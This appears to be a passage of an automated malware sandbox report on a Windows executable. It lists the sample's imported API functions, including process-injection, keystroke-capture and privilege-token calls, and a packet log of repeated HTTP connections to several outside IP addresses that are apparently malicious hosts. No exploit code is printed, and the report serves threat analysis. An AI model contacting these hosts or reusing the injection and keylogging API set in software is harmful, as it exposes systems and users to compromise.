                                                                KERNEL32.dllHeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
                                                                USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
                                                                GDI32.dllSetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
                                                                COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                ADVAPI32.dllGetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
                                                                SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
                                                                OLEAUT32.dllRegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

                                                                Possible Origin

                                                                Language of compilation systemCountry where language is spokenMap
                                                                EnglishGreat Britain

                                                                Network Behavior

                                                                Network Port Distribution

                                                                TCP Packets

                                                                TimestampSource PortDest PortSource IPDest IP
                                                                Nov 20, 2024 10:26:07.814635992 CET5745380192.168.2.943.205.198.29
                                                                Nov 20, 2024 10:26:07.819701910 CET805745343.205.198.29192.168.2.9
                                                                Nov 20, 2024 10:26:07.819829941 CET5745380192.168.2.943.205.198.29
                                                                Nov 20, 2024 10:26:07.830321074 CET5745380192.168.2.943.205.198.29
                                                                Nov 20, 2024 10:26:07.835398912 CET805745343.205.198.29192.168.2.9
                                                                Nov 20, 2024 10:26:08.757739067 CET805745343.205.198.29192.168.2.9
                                                                Nov 20, 2024 10:26:08.783351898 CET805745343.205.198.29192.168.2.9
                                                                Nov 20, 2024 10:26:08.783395052 CET805745343.205.198.29192.168.2.9
                                                                Nov 20, 2024 10:26:08.783642054 CET5745380192.168.2.943.205.198.29
                                                                Nov 20, 2024 10:26:08.785588980 CET5745380192.168.2.943.205.198.29
                                                                Nov 20, 2024 10:26:08.849498987 CET805745343.205.198.29192.168.2.9
                                                                Nov 20, 2024 10:26:23.875488043 CET5745480192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:23.880563974 CET805745445.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:23.880657911 CET5745480192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:23.900422096 CET5745480192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:23.908538103 CET805745445.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:24.568779945 CET805745445.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:24.568797112 CET805745445.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:24.568852901 CET5745480192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:25.416090965 CET5745480192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:26.435890913 CET5745580192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:26.441589117 CET805745545.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:26.441726923 CET5745580192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:26.462630033 CET5745580192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:26.467582941 CET805745545.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:27.122294903 CET805745545.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:27.122487068 CET805745545.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:27.122556925 CET5745580192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:27.979034901 CET5745580192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:28.998416901 CET5745680192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:29.003633022 CET805745645.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:29.003767014 CET5745680192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:29.033485889 CET5745680192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:29.038378954 CET805745645.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:29.038937092 CET805745645.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:29.707784891 CET805745645.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:29.707803965 CET805745645.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:29.707880974 CET5745680192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:30.541173935 CET5745680192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:31.559765100 CET5745780192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:31.568095922 CET805745745.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:31.568226099 CET5745780192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:31.581655979 CET5745780192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:31.589859009 CET805745745.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:32.266685009 CET805745745.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:32.266705990 CET805745745.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:32.266840935 CET5745780192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:32.269808054 CET5745780192.168.2.945.141.156.114
                                                                Nov 20, 2024 10:26:32.274914026 CET805745745.141.156.114192.168.2.9
                                                                Nov 20, 2024 10:26:37.628205061 CET5745880192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:37.633527994 CET8057458154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:37.633609056 CET5745880192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:37.648385048 CET5745880192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:37.653387070 CET8057458154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:38.666562080 CET8057458154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:38.666661024 CET8057458154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:38.666821003 CET5745880192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:39.150516987 CET5745880192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:40.169347048 CET5745980192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:40.181884050 CET8057459154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:40.181971073 CET5745980192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:40.196868896 CET5745980192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:40.209995985 CET8057459154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:41.122088909 CET8057459154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:41.122106075 CET8057459154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:41.122159958 CET5745980192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:41.720479012 CET5745980192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:42.762346983 CET5746080192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:42.771379948 CET8057460154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:42.771502018 CET5746080192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:42.922893047 CET5746080192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:42.929996014 CET8057460154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:42.930136919 CET8057460154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:43.695416927 CET8057460154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:43.695805073 CET8057460154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:43.695880890 CET5746080192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:44.431698084 CET5746080192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:45.470604897 CET5746180192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:45.478543043 CET8057461154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:45.478626966 CET5746180192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:45.519133091 CET5746180192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:45.524528980 CET8057461154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:46.412520885 CET8057461154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:46.412569046 CET8057461154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:46.412687063 CET5746180192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:46.415647030 CET5746180192.168.2.9154.23.184.194
                                                                Nov 20, 2024 10:26:46.424323082 CET8057461154.23.184.194192.168.2.9
                                                                Nov 20, 2024 10:26:51.563925982 CET5746280192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:51.573060989 CET8057462209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:51.573148012 CET5746280192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:51.587769985 CET5746280192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:51.596786976 CET8057462209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:52.163461924 CET8057462209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:52.163778067 CET8057462209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:52.163954973 CET5746280192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:53.103663921 CET5746280192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:54.122464895 CET5746380192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:54.129180908 CET8057463209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:54.129262924 CET5746380192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:54.143395901 CET5746380192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:54.148556948 CET8057463209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:54.747226000 CET8057463209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:54.747298002 CET8057463209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:54.747359991 CET5746380192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:55.650537014 CET5746380192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:56.694240093 CET5746480192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:56.699193001 CET8057464209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:56.699269056 CET5746480192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:56.718564034 CET5746480192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:56.723543882 CET8057464209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:56.723640919 CET8057464209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:57.349984884 CET8057464209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:57.350038052 CET8057464209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:57.350095034 CET5746480192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:58.228740931 CET5746480192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:59.247386932 CET5746580192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:59.253164053 CET8057465209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:59.253276110 CET5746580192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:59.262665987 CET5746580192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:59.268301964 CET8057465209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:59.842037916 CET8057465209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:59.842588902 CET8057465209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:26:59.842668056 CET5746580192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:59.844953060 CET5746580192.168.2.9209.74.77.108
                                                                Nov 20, 2024 10:26:59.852453947 CET8057465209.74.77.108192.168.2.9
                                                                Nov 20, 2024 10:27:06.812848091 CET5746680192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:06.818588018 CET805746635.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:06.818736076 CET5746680192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:06.841368914 CET5746680192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:06.846472025 CET805746635.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:07.710618019 CET805746635.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:07.710647106 CET805746635.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:07.710715055 CET5746680192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:08.353710890 CET5746680192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:09.372420073 CET5746780192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:09.379556894 CET805746735.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:09.379641056 CET5746780192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:09.395175934 CET5746780192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:09.402173042 CET805746735.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:10.252645969 CET805746735.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:10.252779961 CET805746735.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:10.252877951 CET5746780192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:10.900595903 CET5746780192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:11.921297073 CET5746880192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:11.930197954 CET805746835.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:11.930808067 CET5746880192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:11.945143938 CET5746880192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:11.954097986 CET805746835.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:11.954299927 CET805746835.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:12.795098066 CET805746835.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:12.795743942 CET805746835.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:12.795783043 CET5746880192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:13.447415113 CET5746880192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:14.466619968 CET5746980192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:14.473037004 CET805746935.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:14.473138094 CET5746980192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:14.486010075 CET5746980192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:14.491189003 CET805746935.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:15.338485956 CET805746935.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:15.338651896 CET805746935.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:15.338710070 CET5746980192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:15.342312098 CET5746980192.168.2.935.220.176.144
                                                                Nov 20, 2024 10:27:15.352056980 CET805746935.220.176.144192.168.2.9
                                                                Nov 20, 2024 10:27:20.407774925 CET5747080192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:20.414787054 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:20.414969921 CET5747080192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:20.429301977 CET5747080192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:20.434479952 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.037904978 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.037924051 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.037935972 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.038059950 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.038108110 CET5747080192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:21.038180113 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.038193941 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.038206100 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.038216114 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.038244009 CET5747080192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:21.038350105 CET5747080192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:21.038592100 CET8057470188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:21.038676023 CET5747080192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:21.931960106 CET5747080192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:23.156590939 CET5747180192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:23.163552999 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.163628101 CET5747180192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:23.238017082 CET5747180192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:23.243031025 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.792092085 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.792129040 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.792165041 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.792201996 CET5747180192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:23.792303085 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.792351007 CET5747180192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:23.792433977 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.792468071 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.792503119 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.792515993 CET5747180192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:23.792623043 CET8057471188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:23.792675018 CET5747180192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:24.744321108 CET5747180192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:25.772912979 CET5747280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:25.778142929 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:25.778220892 CET5747280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:25.845776081 CET5747280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:25.851808071 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:25.851819992 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:26.414014101 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:26.414041996 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:26.414053917 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:26.414064884 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:26.414077044 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:26.414089918 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:26.414088011 CET5747280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:26.414105892 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:26.414129972 CET5747280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:26.414161921 CET5747280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:26.414679050 CET8057472188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:26.414722919 CET5747280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:27.353784084 CET5747280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:28.418363094 CET5747380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:28.584985018 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:28.585081100 CET5747380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:28.618935108 CET5747380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:28.626929998 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.229686022 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.229710102 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.229722977 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.229815960 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.229830027 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.229959011 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.229963064 CET5747380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:29.229970932 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.229981899 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.230010033 CET5747380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:29.230029106 CET5747380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:29.230237007 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.230247974 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.230292082 CET5747380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:29.230808973 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:29.230890036 CET5747380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:29.234536886 CET5747380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:27:29.239480972 CET8057473188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:27:34.360189915 CET5747480192.168.2.991.206.201.136
